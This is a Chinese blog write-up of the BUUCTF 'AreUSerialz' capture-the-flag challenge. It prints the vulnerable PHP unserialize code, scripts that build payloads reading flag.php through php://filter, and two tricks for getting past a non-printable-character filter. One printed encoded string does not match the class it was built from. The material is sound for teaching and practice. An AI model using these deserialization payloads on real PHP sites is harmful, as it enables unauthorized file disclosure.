【BUUCTF】AreUSerialz

【BUUCTF】AreUSerialz (反序列化)

题目来源

收录于:BUUCTF  网鼎杯 2020 青龙组

题目描述

根据PHP代码进行反序列化

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

题解

此题解题思路较为清晰,反序列化时依次调用的函数为:

__destruct()  ==>  process() ==>  read()

read()中的file_get_contents()中得到我们要读的文件。

这里直接给出构造的类

<?php

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $this->op = 2;
        $this->filename = "php://filter/convert.base64-encode/resource=flag.php";
        $this->content = "Hello World!";      //$content的值随意

    }
}

$o = new FileHandler();
$s = urlencode(serialize($o));
echo $s;

这里由于存在不可打印的字符,且不可随意丢弃,因此我们需要对序列化后的字符串进行URL编码。编码后得到$s的值为

O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00op%22%3BN%3Bs%3A11%3A%22%00%2A%00filename%22%3BN%3Bs%3A10%3A%22%00%2A%00content%22%3BN%3B%7D

对于一般的题目,到这里就能得到flag了,但是该题目中还有函数is_valid(),用于检测传递的字符串中是否有不可打印的字符。

由于类中有protected的属性,因此我们序列化后的字符串中会有不可打印字符%00,这道题的难点就在这里。

这里有两种方式可以进行绕过

方式一

当PHP版本 >= 7.2 时,反序列化对访问类别不敏感。
即可以直接将protected改为public,即可避免出现不可打印的字符,同时可以成功反序列化。

<?php

class FileHandler {

    public $op;
    public $filename;
    public $content;

    function __construct() {
        $this->op = 2;
        $this->filename = "php://filter/convert.base64-encode/resource=flag.php";
        $this->content = "Hello World!";      //$content的值随意

    }
}

$o = new FileHandler();
echo(urlencode(serialize($o)));

传入打印的字符串即可得到base64编码的flag

方式二

此方法并不改变变量的保护类型。

当我们向浏览器传递%00时,浏览器会对其进行URL解码,解析为ascii值为0的单个字符。
当我们向浏览器传递\00时,浏览器不会将其解析为单个字符。
下面用代码进行验证:

<?php

function is_valid($s) {
    echo "str_length=";         //输出字符串长度
    echo strlen($s);
    echo "<br>ASCII(str):  ";
    for($i = 0; $i < strlen($s); $i++){
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)){
            echo "invalid!!!";
            return false;
        }
        echo ord($s[$i]);       //输出每个字符的ASCII
        echo " ";
    }
    return true;
}

$str = (string)$_GET['str'];
is_valid($str);

?>

img

img

因此我们将%00替换为\00,就可以绕开ord()的判断。但是这样一来,反序列化时\00将无法正确解析为单个字符。

我们知道序列化后的字符串中,用 s 表示字符串,用 i 表示整数。此外, S 用于表示十六进制的字符串。

于是,将表示字符串的 s 替换为表示十六进制字符的 S,即可完成绕过。

<?php

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $this->op = 2;
        $this->filename = "php://filter/convert.base64-encode/resource=flag.php";
        $this->content = "Hello World!";      //$content的值随意

    }
}

$o = new FileHandler();
$s = urlencode(serialize($o));
$s = str_replace('%00','\00',$s);
echo $s;

img

将红框内的小写 s 替换为大写 S,得到的payload为

O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3Bs%3A12%3A%22Hello+World%21%22%3B%7D

总结

当遇到不可打印字符被过滤时,有两种方法:

  • PHP版本>=7.2时,可将protected直接修改为public

  • 将序列化后的字符串中的%00修改为\00,并将保护类型为protected的变量的变量类型由s改为S

posted @ 2024-08-01 10:18  Mr_Soap  阅读(10)  评论(0编辑  收藏  举报